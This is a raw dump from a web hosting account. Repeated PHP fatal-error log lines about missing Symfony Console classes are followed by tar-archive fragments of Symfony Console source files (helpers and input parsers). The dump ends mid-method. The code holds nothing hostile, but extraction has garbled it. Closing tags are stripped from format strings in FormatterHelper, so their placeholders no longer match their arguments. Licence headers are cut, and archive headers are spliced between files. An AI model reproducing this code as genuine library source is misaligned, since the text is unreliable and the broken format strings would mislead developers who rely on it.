/home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [20-Nov-2025 04:24:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [20-Nov-2025 04:43:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [20-Nov-2025 04:51:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [20-Nov-2025 06:12:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/FormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/FormatterHelper.php on line 21 [20-Nov-2025 09:17:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/QuestionHelper.php:35 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/QuestionHelper.php on line 35 [20-Nov-2025 10:53:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/FormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/FormatterHelper.php on line 21 [20-Nov-2025 10:58:47 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/InputAwareHelper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/InputAwareHelper.php on line 22 [25-Nov-2025 02:29:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/FormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/FormatterHelper.php on line 21 [25-Nov-2025 02:33:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [25-Nov-2025 02:33:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [25-Nov-2025 02:56:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/ProcessHelper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/ProcessHelper.php on line 26 [25-Nov-2025 03:01:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\TableCell" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/TableSeparator.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/TableSeparator.php on line 19 [25-Nov-2025 03:02:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php on line 21 [25-Nov-2025 03:05:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Helper\HelperInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/Helper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/Helper.php on line 22 [25-Nov-2025 04:29:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/QuestionHelper.php:35 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/QuestionHelper.php on line 35 [25-Nov-2025 05:31:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\QuestionHelper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php on line 26 [25-Nov-2025 05:32:37 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/InputAwareHelper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/InputAwareHelper.php on line 22 [26-Nov-2025 01:36:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [26-Nov-2025 01:38:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/InputAwareHelper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/InputAwareHelper.php on line 22 [26-Nov-2025 03:31:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php on line 21 [26-Nov-2025 03:32:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/ProcessHelper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/ProcessHelper.php on line 26 [26-Nov-2025 03:33:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/FormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/FormatterHelper.php on line 21 [26-Nov-2025 03:33:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\TableCell" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/TableSeparator.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/TableSeparator.php on line 19 [26-Nov-2025 03:34:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\QuestionHelper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php on line 26 [26-Nov-2025 03:35:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/QuestionHelper.php:35 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/QuestionHelper.php on line 35 [26-Nov-2025 03:43:40 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Helper\HelperInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/Helper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/Helper.php on line 22 console/Helper/HelperSet.php000064400000003511151113511740012030 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * HelperSet represents a set of helpers to be used with a command. * * @author Fabien Potencier * * @implements \IteratorAggregate */ class HelperSet implements \IteratorAggregate { /** @var array */ private array $helpers = []; /** * @param HelperInterface[] $helpers */ public function __construct(array $helpers = []) { foreach ($helpers as $alias => $helper) { $this->set($helper, \is_int($alias) ? null : $alias); } } /** * @return void */ public function set(HelperInterface $helper, string $alias = null) { $this->helpers[$helper->getName()] = $helper; if (null !== $alias) { $this->helpers[$alias] = $helper; } $helper->setHelperSet($this); } /** * Returns true if the helper if defined. */ public function has(string $name): bool { return isset($this->helpers[$name]); } /** * Gets a helper value. * * @throws InvalidArgumentException if the helper is not defined */ public function get(string $name): HelperInterface { if (!$this->has($name)) { throw new InvalidArgumentException(sprintf('The helper "%s" is not defined.', $name)); } return $this->helpers[$name]; } public function getIterator(): \Traversable { return new \ArrayIterator($this->helpers); } } console/Helper/FormatterHelper.php000064400000004273151113511740013246 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Formatter\OutputFormatter; /** * The Formatter class provides helpers to format messages. * * @author Fabien Potencier */ class FormatterHelper extends Helper { /** * Formats a message within a section. */ public function formatSection(string $section, string $message, string $style = 'info'): string { return sprintf('<%s>[%s] %s', $style, $section, $style, $message); } /** * Formats a message as a block of text. */ public function formatBlock(string|array $messages, string $style, bool $large = false): string { if (!\is_array($messages)) { $messages = [$messages]; } $len = 0; $lines = []; foreach ($messages as $message) { $message = OutputFormatter::escape($message); $lines[] = sprintf($large ? ' %s ' : ' %s ', $message); $len = max(self::width($message) + ($large ? 4 : 2), $len); } $messages = $large ? [str_repeat(' ', $len)] : []; for ($i = 0; isset($lines[$i]); ++$i) { $messages[] = $lines[$i].str_repeat(' ', $len - self::width($lines[$i])); } if ($large) { $messages[] = str_repeat(' ', $len); } for ($i = 0; isset($messages[$i]); ++$i) { $messages[$i] = sprintf('<%s>%s', $style, $messages[$i], $style); } return implode("\n", $messages); } /** * Truncates a message to the given length. */ public function truncate(string $message, int $length, string $suffix = '...'): string { $computedLength = $length - self::width($suffix); if ($computedLength > self::width($message)) { return $message; } return self::substr($message, 0, $length).$suffix; } public function getName(): string { return 'formatter'; } } console/Helper/Dumper.php000064400000003444151113511740011376 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\VarDumper\Cloner\ClonerInterface; use Symfony\Component\VarDumper\Cloner\VarCloner; use Symfony\Component\VarDumper\Dumper\CliDumper; /** * @author Roland Franssen */ final class Dumper { private OutputInterface $output; private ?CliDumper $dumper; private ?ClonerInterface $cloner; private \Closure $handler; public function __construct(OutputInterface $output, CliDumper $dumper = null, ClonerInterface $cloner = null) { $this->output = $output; $this->dumper = $dumper; $this->cloner = $cloner; if (class_exists(CliDumper::class)) { $this->handler = function ($var): string { $dumper = $this->dumper ??= new CliDumper(null, null, CliDumper::DUMP_LIGHT_ARRAY | CliDumper::DUMP_COMMA_SEPARATOR); $dumper->setColors($this->output->isDecorated()); return rtrim($dumper->dump(($this->cloner ??= new VarCloner())->cloneVar($var)->withRefHandles(false), true)); }; } else { $this->handler = fn ($var): string => match (true) { null === $var => 'null', true === $var => 'true', false === $var => 'false', \is_string($var) => '"'.$var.'"', default => rtrim(print_r($var, true)), }; } } public function __invoke(mixed $var): string { return ($this->handler)($var); } } console/Helper/Helper.php000064400000010722151113511740011356 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Formatter\OutputFormatterInterface; use Symfony\Component\String\UnicodeString; /** * Helper is the base class for all helper classes. * * @author Fabien Potencier */ abstract class Helper implements HelperInterface { protected $helperSet; /** * @return void */ public function setHelperSet(HelperSet $helperSet = null) { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->helperSet = $helperSet; } public function getHelperSet(): ?HelperSet { return $this->helperSet; } /** * Returns the width of a string, using mb_strwidth if it is available. * The width is how many characters positions the string will use. */ public static function width(?string $string): int { $string ??= ''; if (preg_match('//u', $string)) { return (new UnicodeString($string))->width(false); } if (false === $encoding = mb_detect_encoding($string, null, true)) { return \strlen($string); } return mb_strwidth($string, $encoding); } /** * Returns the length of a string, using mb_strlen if it is available. * The length is related to how many bytes the string will use. */ public static function length(?string $string): int { $string ??= ''; if (preg_match('//u', $string)) { return (new UnicodeString($string))->length(); } if (false === $encoding = mb_detect_encoding($string, null, true)) { return \strlen($string); } return mb_strlen($string, $encoding); } /** * Returns the subset of a string, using mb_substr if it is available. */ public static function substr(?string $string, int $from, int $length = null): string { $string ??= ''; if (false === $encoding = mb_detect_encoding($string, null, true)) { return substr($string, $from, $length); } return mb_substr($string, $from, $length, $encoding); } /** * @return string */ public static function formatTime(int|float $secs) { static $timeFormats = [ [0, '< 1 sec'], [1, '1 sec'], [2, 'secs', 1], [60, '1 min'], [120, 'mins', 60], [3600, '1 hr'], [7200, 'hrs', 3600], [86400, '1 day'], [172800, 'days', 86400], ]; foreach ($timeFormats as $index => $format) { if ($secs >= $format[0]) { if ((isset($timeFormats[$index + 1]) && $secs < $timeFormats[$index + 1][0]) || $index == \count($timeFormats) - 1 ) { if (2 == \count($format)) { return $format[1]; } return floor($secs / $format[2]).' '.$format[1]; } } } } /** * @return string */ public static function formatMemory(int $memory) { if ($memory >= 1024 * 1024 * 1024) { return sprintf('%.1f GiB', $memory / 1024 / 1024 / 1024); } if ($memory >= 1024 * 1024) { return sprintf('%.1f MiB', $memory / 1024 / 1024); } if ($memory >= 1024) { return sprintf('%d KiB', $memory / 1024); } return sprintf('%d B', $memory); } /** * @return string */ public static function removeDecoration(OutputFormatterInterface $formatter, ?string $string) { $isDecorated = $formatter->isDecorated(); $formatter->setDecorated(false); // remove <...> formatting $string = $formatter->format($string ?? ''); // remove already formatted characters $string = preg_replace("/\033\[[^m]*m/", '', $string ?? ''); // remove terminal hyperlinks $string = preg_replace('/\\033]8;[^;]*;[^\\033]*\\033\\\\/', '', $string ?? ''); $formatter->setDecorated($isDecorated); return $string; } } console/Helper/HelperInterface.php000064400000001511151113511740013173 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; /** * HelperInterface is the interface all helpers must implement. * * @author Fabien Potencier */ interface HelperInterface { /** * Sets the helper set associated with this helper. * * @return void */ public function setHelperSet(?HelperSet $helperSet); /** * Gets the helper set associated with this helper. */ public function getHelperSet(): ?HelperSet; /** * Returns the canonical name of this helper. * * @return string */ public function getName(); } console/SingleCommandApplication.php000064400000003402151113511740013621 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * @author Grégoire Pineau */ class SingleCommandApplication extends Command { private string $version = 'UNKNOWN'; private bool $autoExit = true; private bool $running = false; /** * @return $this */ public function setVersion(string $version): static { $this->version = $version; return $this; } /** * @final * * @return $this */ public function setAutoExit(bool $autoExit): static { $this->autoExit = $autoExit; return $this; } public function run(InputInterface $input = null, OutputInterface $output = null): int { if ($this->running) { return parent::run($input, $output); } // We use the command name as the application name $application = new Application($this->getName() ?: 'UNKNOWN', $this->version); $application->setAutoExit($this->autoExit); // Fix the usage of the command displayed with "--help" $this->setName($_SERVER['argv'][0]); $application->add($this); $application->setDefaultCommand($this->getName(), true); $this->running = true; try { $ret = $application->run($input, $output); } finally { $this->running = false; } return $ret ?? 1; } } console/Input/InputArgument.php000064400000011713151113511740012622 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Completion\Suggestion; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * Represents a command line argument. * * @author Fabien Potencier */ class InputArgument { public const REQUIRED = 1; public const OPTIONAL = 2; public const IS_ARRAY = 4; private string $name; private int $mode; private string|int|bool|array|null|float $default; private array|\Closure $suggestedValues; private string $description; /** * @param string $name The argument name * @param int|null $mode The argument mode: a bit mask of self::REQUIRED, self::OPTIONAL and self::IS_ARRAY * @param string $description A description text * @param string|bool|int|float|array|null $default The default value (for self::OPTIONAL mode only) * @param array|\Closure(CompletionInput,CompletionSuggestions):list $suggestedValues The values used for input completion * * @throws InvalidArgumentException When argument mode is not valid */ public function __construct(string $name, int $mode = null, string $description = '', string|bool|int|float|array $default = null, \Closure|array $suggestedValues = []) { if (null === $mode) { $mode = self::OPTIONAL; } elseif ($mode > 7 || $mode < 1) { throw new InvalidArgumentException(sprintf('Argument mode "%s" is not valid.', $mode)); } $this->name = $name; $this->mode = $mode; $this->description = $description; $this->suggestedValues = $suggestedValues; $this->setDefault($default); } /** * Returns the argument name. */ public function getName(): string { return $this->name; } /** * Returns true if the argument is required. * * @return bool true if parameter mode is self::REQUIRED, false otherwise */ public function isRequired(): bool { return self::REQUIRED === (self::REQUIRED & $this->mode); } /** * Returns true if the argument can take multiple values. * * @return bool true if mode is self::IS_ARRAY, false otherwise */ public function isArray(): bool { return self::IS_ARRAY === (self::IS_ARRAY & $this->mode); } /** * Sets the default value. * * @return void * * @throws LogicException When incorrect default value is given */ public function setDefault(string|bool|int|float|array $default = null) { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } if ($this->isRequired() && null !== $default) { throw new LogicException('Cannot set a default value except for InputArgument::OPTIONAL mode.'); } if ($this->isArray()) { if (null === $default) { $default = []; } elseif (!\is_array($default)) { throw new LogicException('A default value for an array argument must be an array.'); } } $this->default = $default; } /** * Returns the default value. */ public function getDefault(): string|bool|int|float|array|null { return $this->default; } public function hasCompletion(): bool { return [] !== $this->suggestedValues; } /** * Adds suggestions to $suggestions for the current completion input. * * @see Command::complete() */ public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { $values = $this->suggestedValues; if ($values instanceof \Closure && !\is_array($values = $values($input))) { throw new LogicException(sprintf('Closure for argument "%s" must return an array. Got "%s".', $this->name, get_debug_type($values))); } if ($values) { $suggestions->suggestValues($values); } } /** * Returns the description text. */ public function getDescription(): string { return $this->description; } } console/Input/ArrayInput.php000064400000013031151113511740012111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\InvalidOptionException; /** * ArrayInput represents an input provided as an array. * * Usage: * * $input = new ArrayInput(['command' => 'foo:bar', 'foo' => 'bar', '--bar' => 'foobar']); * * @author Fabien Potencier */ class ArrayInput extends Input { private array $parameters; public function __construct(array $parameters, InputDefinition $definition = null) { $this->parameters = $parameters; parent::__construct($definition); } public function getFirstArgument(): ?string { foreach ($this->parameters as $param => $value) { if ($param && \is_string($param) && '-' === $param[0]) { continue; } return $value; } return null; } public function hasParameterOption(string|array $values, bool $onlyParams = false): bool { $values = (array) $values; foreach ($this->parameters as $k => $v) { if (!\is_int($k)) { $v = $k; } if ($onlyParams && '--' === $v) { return false; } if (\in_array($v, $values)) { return true; } } return false; } public function getParameterOption(string|array $values, string|bool|int|float|array|null $default = false, bool $onlyParams = false): mixed { $values = (array) $values; foreach ($this->parameters as $k => $v) { if ($onlyParams && ('--' === $k || (\is_int($k) && '--' === $v))) { return $default; } if (\is_int($k)) { if (\in_array($v, $values)) { return true; } } elseif (\in_array($k, $values)) { return $v; } } return $default; } /** * Returns a stringified representation of the args passed to the command. */ public function __toString(): string { $params = []; foreach ($this->parameters as $param => $val) { if ($param && \is_string($param) && '-' === $param[0]) { $glue = ('-' === $param[1]) ? '=' : ' '; if (\is_array($val)) { foreach ($val as $v) { $params[] = $param.('' != $v ? $glue.$this->escapeToken($v) : ''); } } else { $params[] = $param.('' != $val ? $glue.$this->escapeToken($val) : ''); } } else { $params[] = \is_array($val) ? implode(' ', array_map($this->escapeToken(...), $val)) : $this->escapeToken($val); } } return implode(' ', $params); } /** * @return void */ protected function parse() { foreach ($this->parameters as $key => $value) { if ('--' === $key) { return; } if (str_starts_with($key, '--')) { $this->addLongOption(substr($key, 2), $value); } elseif (str_starts_with($key, '-')) { $this->addShortOption(substr($key, 1), $value); } else { $this->addArgument($key, $value); } } } /** * Adds a short option value. * * @throws InvalidOptionException When option given doesn't exist */ private function addShortOption(string $shortcut, mixed $value): void { if (!$this->definition->hasShortcut($shortcut)) { throw new InvalidOptionException(sprintf('The "-%s" option does not exist.', $shortcut)); } $this->addLongOption($this->definition->getOptionForShortcut($shortcut)->getName(), $value); } /** * Adds a long option value. * * @throws InvalidOptionException When option given doesn't exist * @throws InvalidOptionException When a required value is missing */ private function addLongOption(string $name, mixed $value): void { if (!$this->definition->hasOption($name)) { if (!$this->definition->hasNegation($name)) { throw new InvalidOptionException(sprintf('The "--%s" option does not exist.', $name)); } $optionName = $this->definition->negationToName($name); $this->options[$optionName] = false; return; } $option = $this->definition->getOption($name); if (null === $value) { if ($option->isValueRequired()) { throw new InvalidOptionException(sprintf('The "--%s" option requires a value.', $name)); } if (!$option->isValueOptional()) { $value = true; } } $this->options[$name] = $value; } /** * Adds an argument value. * * @throws InvalidArgumentException When argument given doesn't exist */ private function addArgument(string|int $name, mixed $value): void { if (!$this->definition->hasArgument($name)) { throw new InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); } $this->arguments[$name] = $value; } } console/Input/ArgvInput.php000064400000030242151113511740011735 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\RuntimeException; /** * ArgvInput represents an input coming from the CLI arguments. * * Usage: * * $input = new ArgvInput(); * * By default, the `$_SERVER['argv']` array is used for the input values. * * This can be overridden by explicitly passing the input values in the constructor: * * $input = new ArgvInput($_SERVER['argv']); * * If you pass it yourself, don't forget that the first element of the array * is the name of the running application. * * When passing an argument to the constructor, be sure that it respects * the same rules as the argv one. It's almost always better to use the * `StringInput` when you want to provide your own input. * * @author Fabien Potencier * * @see http://www.gnu.org/software/libc/manual/html_node/Argument-Syntax.html * @see http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap12.html#tag_12_02 */ class ArgvInput extends Input { private array $tokens; private array $parsed; public function __construct(array $argv = null, InputDefinition $definition = null) { $argv ??= $_SERVER['argv'] ?? []; // strip the application name array_shift($argv); $this->tokens = $argv; parent::__construct($definition); } /** * @return void */ protected function setTokens(array $tokens) { $this->tokens = $tokens; } /** * @return void */ protected function parse() { $parseOptions = true; $this->parsed = $this->tokens; while (null !== $token = array_shift($this->parsed)) { $parseOptions = $this->parseToken($token, $parseOptions); } } protected function parseToken(string $token, bool $parseOptions): bool { if ($parseOptions && '' == $token) { $this->parseArgument($token); } elseif ($parseOptions && '--' == $token) { return false; } elseif ($parseOptions && str_starts_with($token, '--')) { $this->parseLongOption($token); } elseif ($parseOptions && '-' === $token[0] && '-' !== $token) { $this->parseShortOption($token); } else { $this->parseArgument($token); } return $parseOptions; } /** * Parses a short option. */ private function parseShortOption(string $token): void { $name = substr($token, 1); if (\strlen($name) > 1) { if ($this->definition->hasShortcut($name[0]) && $this->definition->getOptionForShortcut($name[0])->acceptValue()) { // an option with a value (with no space) $this->addShortOption($name[0], substr($name, 1)); } else { $this->parseShortOptionSet($name); } } else { $this->addShortOption($name, null); } } /** * Parses a short option set. * * @throws RuntimeException When option given doesn't exist */ private function parseShortOptionSet(string $name): void { $len = \strlen($name); for ($i = 0; $i < $len; ++$i) { if (!$this->definition->hasShortcut($name[$i])) { $encoding = mb_detect_encoding($name, null, true); throw new RuntimeException(sprintf('The "-%s" option does not exist.', false === $encoding ? $name[$i] : mb_substr($name, $i, 1, $encoding))); } $option = $this->definition->getOptionForShortcut($name[$i]); if ($option->acceptValue()) { $this->addLongOption($option->getName(), $i === $len - 1 ? null : substr($name, $i + 1)); break; } else { $this->addLongOption($option->getName(), null); } } } /** * Parses a long option. */ private function parseLongOption(string $token): void { $name = substr($token, 2); if (false !== $pos = strpos($name, '=')) { if ('' === $value = substr($name, $pos + 1)) { array_unshift($this->parsed, $value); } $this->addLongOption(substr($name, 0, $pos), $value); } else { $this->addLongOption($name, null); } } /** * Parses an argument. * * @throws RuntimeException When too many arguments are given */ private function parseArgument(string $token): void { $c = \count($this->arguments); // if input is expecting another argument, add it if ($this->definition->hasArgument($c)) { $arg = $this->definition->getArgument($c); $this->arguments[$arg->getName()] = $arg->isArray() ? [$token] : $token; // if last argument isArray(), append token to last argument } elseif ($this->definition->hasArgument($c - 1) && $this->definition->getArgument($c - 1)->isArray()) { $arg = $this->definition->getArgument($c - 1); $this->arguments[$arg->getName()][] = $token; // unexpected argument } else { $all = $this->definition->getArguments(); $symfonyCommandName = null; if (($inputArgument = $all[$key = array_key_first($all)] ?? null) && 'command' === $inputArgument->getName()) { $symfonyCommandName = $this->arguments['command'] ?? null; unset($all[$key]); } if (\count($all)) { if ($symfonyCommandName) { $message = sprintf('Too many arguments to "%s" command, expected arguments "%s".', $symfonyCommandName, implode('" "', array_keys($all))); } else { $message = sprintf('Too many arguments, expected arguments "%s".', implode('" "', array_keys($all))); } } elseif ($symfonyCommandName) { $message = sprintf('No arguments expected for "%s" command, got "%s".', $symfonyCommandName, $token); } else { $message = sprintf('No arguments expected, got "%s".', $token); } throw new RuntimeException($message); } } /** * Adds a short option value. * * @throws RuntimeException When option given doesn't exist */ private function addShortOption(string $shortcut, mixed $value): void { if (!$this->definition->hasShortcut($shortcut)) { throw new RuntimeException(sprintf('The "-%s" option does not exist.', $shortcut)); } $this->addLongOption($this->definition->getOptionForShortcut($shortcut)->getName(), $value); } /** * Adds a long option value. * * @throws RuntimeException When option given doesn't exist */ private function addLongOption(string $name, mixed $value): void { if (!$this->definition->hasOption($name)) { if (!$this->definition->hasNegation($name)) { throw new RuntimeException(sprintf('The "--%s" option does not exist.', $name)); } $optionName = $this->definition->negationToName($name); if (null !== $value) { throw new RuntimeException(sprintf('The "--%s" option does not accept a value.', $name)); } $this->options[$optionName] = false; return; } $option = $this->definition->getOption($name); if (null !== $value && !$option->acceptValue()) { throw new RuntimeException(sprintf('The "--%s" option does not accept a value.', $name)); } if (\in_array($value, ['', null], true) && $option->acceptValue() && \count($this->parsed)) { // if option accepts an optional or mandatory argument // let's see if there is one provided $next = array_shift($this->parsed); if ((isset($next[0]) && '-' !== $next[0]) || \in_array($next, ['', null], true)) { $value = $next; } else { array_unshift($this->parsed, $next); } } if (null === $value) { if ($option->isValueRequired()) { throw new RuntimeException(sprintf('The "--%s" option requires a value.', $name)); } if (!$option->isArray() && !$option->isValueOptional()) { $value = true; } } if ($option->isArray()) { $this->options[$name][] = $value; } else { $this->options[$name] = $value; } } public function getFirstArgument(): ?string { $isOption = false; foreach ($this->tokens as $i => $token) { if ($token && '-' === $token[0]) { if (str_contains($token, '=') || !isset($this->tokens[$i + 1])) { continue; } // If it's a long option, consider that everything after "--" is the option name. // Otherwise, use the last char (if it's a short option set, only the last one can take a value with space separator) $name = '-' === $token[1] ? substr($token, 2) : substr($token, -1); if (!isset($this->options[$name]) && !$this->definition->hasShortcut($name)) { // noop } elseif ((isset($this->options[$name]) || isset($this->options[$name = $this->definition->shortcutToName($name)])) && $this->tokens[$i + 1] === $this->options[$name]) { $isOption = true; } continue; } if ($isOption) { $isOption = false; continue; } return $token; } return null; } public function hasParameterOption(string|array $values, bool $onlyParams = false): bool { $values = (array) $values; foreach ($this->tokens as $token) { if ($onlyParams && '--' === $token) { return false; } foreach ($values as $value) { // Options with values: // For long options, test for '--option=' at beginning // For short options, test for '-o' at beginning $leading = str_starts_with($value, '--') ? $value.'=' : $value; if ($token === $value || '' !== $leading && str_starts_with($token, $leading)) { return true; } } } return false; } public function getParameterOption(string|array $values, string|bool|int|float|array|null $default = false, bool $onlyParams = false): mixed { $values = (array) $values; $tokens = $this->tokens; while (0 < \count($tokens)) { $token = array_shift($tokens); if ($onlyParams && '--' === $token) { return $default; } foreach ($values as $value) { if ($token === $value) { return array_shift($tokens); } // Options with values: // For long options, test for '--option=' at beginning // For short options, test for '-o' at beginning $leading = str_starts_with($value, '--') ? $value.'=' : $value; if ('' !== $leading && str_starts_with($token, $leading)) { return substr($token, \strlen($leading)); } } } return $default; } /** * Returns a stringified representation of the args passed to the command. */ public function __toString(): string 